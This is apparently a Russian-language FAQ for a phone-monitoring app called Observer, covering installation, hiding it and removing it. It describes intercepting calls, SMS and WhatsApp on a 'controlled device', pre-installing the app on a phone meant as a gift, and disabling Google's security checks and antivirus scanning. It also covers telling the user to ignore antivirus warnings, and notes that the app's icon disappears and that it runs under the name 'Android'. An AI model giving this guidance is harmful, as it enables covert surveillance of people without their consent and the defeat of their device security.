Инструкции. Установка программ

  • Можно ли установить программу на новое, пустое, чистое устройство (на котором еще ничего не установлено)?

    Можно установить программу на совершенно новое устройство и подарить его кому надо, а потом когда на него будут установлены приложения (WhatsApp, Viber и т.п.) то она будет их контролировать. Когда будет вставлена новая сим карта, то звонки и смс совершенные с нее, будут перехватываться автоматически. То есть программе неважно, есть ли на данный момент сим карта или нет, установлена та или иная программа или нет. Если есть сим карта, то идет перехват. Нет ее, то и перехвата нет. Поставили другую сим карту, начнется перехват с нее. То же самое с приложениями. Есть WhatsApp, есть перехват, удалили WhatsApp перехват прекратился. Снова установили WhatsApp, опять пошел перехват. И то же самое относится для любых других приложений

    Но возможно, что не будет работать управление через интернет. Чтобы избежать этого, рекомендуется сделать следующее: создать аккаунт Google на контролируемом устройстве, установить программу Observer, установить программу Server, проверить работают ли интернет команды и после этого удалить аккаунт с контролируемого устройства и подарить кому надо

    Но также, новый хозяин может установить новый антивирус или оптимизатор и они выявят программу как угрозу или предложат остановить ее из-за того, что потребляет много энергии или трафика и с великой вероятностью, новый хозяин устройства остановит или удалит программу, а если не сможет удалить, то понесет к мастеру и сделает заводской сброс. Таким образом, вариант "купить устройство, настроить программу и подарить" - ненадежный и мы не рекомендуем ставить программу на те устройства, к которым у Вас в дальнейшем не будет доступа

  • При установке программы Observer некотроые поля были недоступны (не нажималась кнопка)

    Это нормально. Если кнопка не была доступна для нажатия, то это означает что:

    1. эта опция уже настроена (например если недоступна кнопка ввода email, то это означает, что он уже был введен ранее при предыдущей установке и "вшился" в систему и его незачем вводить заново. Или например недоступна кнопка "Геололокация" - значит геолокация уже включена на устройстве)
    2. эта опция не поддерживается на данной модели устройства (например недоступна кнопка "Предоставьте рут права" - значит на данное устройство не "рутовано" и смысла нажимать эту кнопку нет и она неактивна. Или "Предоставьте доступ к дисплею" - значит версия Android на данной модели устройства - старая и не поддерживает данную функцию)

     

    В любом случае, не стоит волноваться. Все нормально. Это так и было задумано

  • При установке возникла ошибка "Приложение не установлено". Что делать?
    • Установите вот это приложение SD Maid
    • Почистите при помощи него свое устройство
    • Повторите установку заново
  • Как установить Observer?

    ПОСМОТРИТЕ ВИДЕО ИНСТРУКЦИЮ

    1. Под видео есть текстовая пошаговая инструкция (нажмите на надпись "Еще" под видео)
    2. Видео можно замедлить (нажмите на значек "шестеренки" в правом нижнем углу, выберите скорость, выберите значение 0,25)

     

    ИЛИ ПОЧИТАЙТЕ ТЕКСТОВУЮ ИНСТРУКЦИЮ:

    1. ОТКЛЮЧИТЕ АНТИВИРУС GOOGLE
    - Если на контр. устройстве версия Android выше 6.0, то зайдите в настройки контролируемого устройства и откройте пункт "Google"
    - Если на контр. устройстве версия Android ниже 6.0, то найдите на контр. устройстве приложение "Настройки Google"
    - Откройте пункт "Безопасность" (Не путайте с пунктом "Безопасность и вход")
    - Отключите опцию "Проверять наличие проблемы с безопасностью"

     

    2. РАЗРЕШИТЕ УСТАНОВКУ ПРИЛОЖЕНИЙ НЕ ИЗ МАРКЕТА
    - Зайдите в настройки устройства
    - Откройте пункт "Безопасность"
    - Включите опцию "Неизвестные источники" (или "Установка из неизвестных источников")

     

    3. СКАЧАЙТЕ И УСТАНОВИТЕ ПРОГРАММУ
    - Откройте браузер Chrome (можно любой другой)
    - Зайдите в режим "Инкогнито" (или "Анонимный")
    - Откройте сайт http://observer.ooo
    - Нажмите на кнопку "Скачать Observer"
    - Если откроется другой сайт, то в нем нажмите на кнопку "Скачать" или "Download"
    - Закройте сайт и выйдите из браузера
    - В самом верху появится процесс закачки программы
    - Потяните шторку вниз и нажмите на надпись с закачанным файлом
    - Откроется окно с процессом установки
    - Везде нажимайте "Да" и "Далее" и в конце кнопку "Открыть"
    - Если в процессе установки будут появляться ока антивируса, то нажимайте "Игнорировать" или "Добавить в исключения"

     

    4. НАСТРОЙТЕ ПРОГРАММУ
    - При вводе email будьте внимательны и не совершайте ошибок. Также надо ввести свой реальный существующий email (на него будут приходить уведомления от сервиса и он станет Вашим логином в системе)
    - Теперь нажмите по очереди на все доступные кнопки. Если какая то из кнопок недоступна, то ничего страшного, значит версия Android не поддерживает эту функцию и ее не стоит настраивать. Или наоборот, возможно что эта функция уже настроена
    - Нажмите кнопку "Запустить". Через некоторое время значек программы исчезнет из меню и программа начнет работать

     

    5. ДОПОЛНИТЕЛЬНО НАСТРОЙТЕ

    Если Ваше контролируемое устройство:

    • Xiaomi, Meizu, Sony (и в нем есть режим Stamina), Huawei (и в нем есть режим "Защищенные приложения"), HTC, Samsung (и в нем есть приложение Smart Manager), Lenovo (и в нем есть приложение Secure It), Asus
    • или его версия Android 6.0 или выше
    • или на нем установлен какой либо антивирус (Kaspersky, Eset, Dr.Web, Avira, Avast, AVG, Comodo, Zillya, BitDefender, 360 Security, Clean Master, CM Security, LBE Security или какой либо другой)

    то обязательно настройте программу как показано на этих видео

  • Как установить Server?

    ПОСМОТРИТЕ ВИДЕО ИНСТРУКЦИЮ

    1. Под видео есть текстовая пошаговая инструкция (нажмите на надпись "Еще" под видео)
    2. Видео можно замедлить (нажмите на значек "шестеренки" в правом нижнем углу, выберите скорость, выберите значение 0,25)

     

    1. РАЗРЕШИТЕ УСТАНОВКУ ПРИЛОЖЕНИЙ НЕ ИЗ МАРКЕТА
    - Зайдите в настройки устройства
    - Откройте пункт "Безопасность"
    - Включите опцию "Неизвестные источники" (или "Установка из неизвестных источников")

    2. СКАЧАЙТЕ И УСТАНОВИТЕ ПРОГРАММУ
    - Откройте браузер Chrome (можно любой другой)
    - Зайдите в режим "Инкогнито" (или "Анонимный")
    - Откройте сайт http://observer.ooo
    - Нажмите на кнопку "Скачать Server"
    - Если откроется другой сайт, то в нем нажмите на кнопку "Скачать" или "Download"
    - Закройте сайт и выйдите из браузера
    - В самом верху появится процесс закачки программы
    - Потяните шторку вниз и нажмите на надпись с закачанным файлом
    - Откроется окно с процессом установки
    - Везде нажимайте "Да" и "Далее" и в конце кнопку "Открыть"
    - Если в процессе установки будут появляться ока антивируса, то нажимайте "Игнорировать" или "Добавить в исключения"

    3. НАСТРОЙТЕ ПРОГРАММУ
    - Введите точно такой же email, который Вы ввели в Observer
    - При вводе email будьте внимательны и не совершайте ошибок

  • Можно ли установить Observer и Server на одно устройство?
Показать все статьи (9)

Инструкции. Дополнительные настройки после установки

  • Очень важно! Дополнительная настройка после установки программ

    Многие современные модели устройств имеют встроенные диспетчеры телефона (фирменные приложения в которых встроены антивирусы и оптимизаторы). На разных моделях они называются по разному. Вот неполный список устройств и приложений известных нам:

    • Xiaomi - Безопасность

    • Meizu - Центр безопасности

    • Samsung - Smart Manager

    • Sony - Stamina

    • HTC - Энергосбережение

    • Huawei - Phone Manager (Диспетчер телефона)

    • Lenovo - Secure It

    • Asus - Asus Mobile Manager

    Помимо них на устройстве могут быть установлены сторонние оптимизаторы и антивирусы? например Clean Master, CCleaner, Greenify, Avast, AVG, Avira и т.п. Более того, Google создал свой собственный антивирус под названием Google Protect (Гугл защита)

     

    Одним, словом программы Observer и Server необходимо "подружить" с ними. Если этого не сделать, то антивирус будет постоянно "ругаться", а оптимизатор будет "душить" ради экономии энергии и интернет трафика.

     

    Также, на некоторых устройствах программе надо выдавать права на автозапуск. Если не дать права на автозапуск, то программы не смогут запускаться при включении устройств.

     

    Мы сняли видео инструкции почти для всех устройств и опубликовали их на официальном канале проекта. Если видео для Вашей модели устройства отсутствует, то просмотрите пожалуйста все видео и Вы поймете как примерно настроить их на своем устройстве по аналогии. Суть одна: добавить обе программы в белый список антивируса и отключить все виды оптимизаций.​

    Подсказки:

    • Под некоторыми из видео есть текстовые пошаговые инструкции
    • Вы можете замедлить видео, нажав на значек "шестеренки" и выбрав скорость воспроизведения 0,25
  • Как настройить Observer на Xiaomi?

     

     

    ПОСМОТРИТЕ ВИДЕО ИНСТРУКЦИЮ

     

     

    1. Проверьте версию MIUI

    • Откройте настройки устройства, "О телефоне", "Версия MIUI", если она ниже 8.2.5.0, тогда нажмите на "Обновление системы" (в самом низу), проверьте наличие обновления, загрузите его, перезагрузите устройство,  затем снова проверьте обновилась ли версия или нет

     

    2. Выдайте разрешения:

    • Откройте приложение "Безопасность", "Разрешения", "Автозапуск", включить переключатель у приложения "Android"
    • Снова приложение "Безопасность", "Разрешения", еще раз "Разрешения", пройтись по всем пунктам и проверить включена ли везде галочка напротив приложения Android
    • Снова приложение "Безопасность", "Безопасность", "Разрешения", "Другие разрешения", "Android", везде включите все галочки (чтобы стали зеленого цвета)

     

    3. Настройте антивирус

    • Откройте приложение "Безопасность", "Антивирусы", нажмите на значек "шестеренки" (в верхнем правом углу), "Сигнатуры", выберите "Tencent"
    • Там же, нажать на "Исключения", если есть приложение Android, то оставьте. Если нету, то тоже нормально
    • Там же, "Автоматическое обновление сигнатур", отключить
    • Там же, "Сканировать перед установкой", отключите галочку

     

    4. Отключите энергосбережение

    • Откройте приложение "Безопасность", "Батарея", значек "шестеренки" (в верхнем правом углу), отключить все галочки во всех пунктах, и выставить "Никогда"
    • Выйдите назад, "Энергосбережение", еще раз "Энергосбережение", отключить везде галочки
    • Выйдите назад, "Экономия энергии", подождите пока пройдет сканирование, нажмите на "Android", "Настройка фоновой активности", нажать на "Нет ограничений", "Местоположения в фоне", нажать на "Разрешить"
    • Зайдите в приложение "Настройки", "Батарея и производительность", "Использование батареи", нажмите на кнопку "Еще", "Режим энергосбережения", "Включать автоматически", выберите "Никогда"
    • "Расход заряда батареи приложениями", нажать на "Отключено"

     

    5. Отключите оптимизацию MIUI

    • Зайдите в приложение "Настройки", в самом низу "О телефоне", нажать быстро 10 раз на пункте "Версия MIUI", выйти назад
    • Зайдите в пункт "Дополнительно", "Для разработчиков", "Включить оптимизацию MIUI", отключите, перезагрузите устройство
    • снова зайдите же, "Оптимизация системной памяти", выберите "Выключена", перезагрузите устройство 

     

    6. Включите функцию "Анти-Сон"

    • Зайдите на своем устройстве в Server, откройте раздел "Управление", пролистайте вниз и найдите функцию "Анти-сон", включите галочку, дождитесь ответа об успешном исполнении команды

     

     

     

  • Инструкции для моей модели устройства нет. Как настроить Observer на любом другом устройстве?

    К сожалению, мы не в силах сделать видео инструкции для всех моделей устройств, но Вы можете просмотреть видео инструкции для остальных устройств на нашем канале и настроить все по аналогии с ними

    Суть одна, добавить обе программы в белый список антивируса, отключить все виды оптимизации энергосбережения, памяти и интернета и дать права на автозапуск (если такая опция есть)

Инструкции. Удаление программ

  • Выдается сообщение "Неверная команда" или "Неверный код MMI"

    Когда Вы запускаете пытаетесь удалить программу Observer позвонив на секретный номер, то оператор связи "думает", что Вы хотели выполнить USSD запрос и поскольку не найдя его, то выдает такое сообщение. Просто проигнорируйте его и закройте окошко с предупреждением. Должно появиться другое окошко с предложением удалить программу. Вот в нем нажмите кнопку "Удалить" или "OK". Если этого окошко не появилось, то тогда удалите программу другим способом

  • Как удалить Server?

    Как обычное приложение:

     

    • Зайдите в настройки своего устройства

    • Найдите и откройте "Диспетчер приложений" (может называться по другому. Например "Установленные приложения")

    • Найдите приложение Server

    • Нажмите на него

    • Нажмите на кнопку "Удалить"

    • Дождитесь сообщения от системы о результате удаления

  • Как дистанционно узнать удален ли Observer с контролируемого устройства?

    Пошлите диагностическую команду через смс. Если ответа не придет, то скорее всего программа удалена. Но возможно, что контролируемое устройство не подключено к сотовой связи или у него на балансе нет денег чтобы отослать смс-ответ.

    Как послать диагностическую команду через смс?

    • Зайдите в Server
    • Откройте раздел "Управление"
    • Выберите опцию "Через смс" (в верхнем правом углу)
    • Пролистайте вниз и нажмите на пункт "Диагностика"
    • Теперь выйдите из раздела "Управление" и зайдите в раздел "Диагностика"
    • Дождитесь ответа от контролируемого устройства
    • Если ответа нет (и Вы уверены, что контролируемое устройство в сети и у него на балансе есть деньги для отправки смс), то вероятнее всего программа удалена
    • Смс команду НЕ будет видно, даже если программа Observer удалена с контролируемого устройства
  • Можно ли удалить программу сделав заводской сброс на контролируемом устройстве?

    Можно.  Учтите, что удалятся все накопленные данные

Инструкции. Переустановка программ

Инструкции. Обновление программ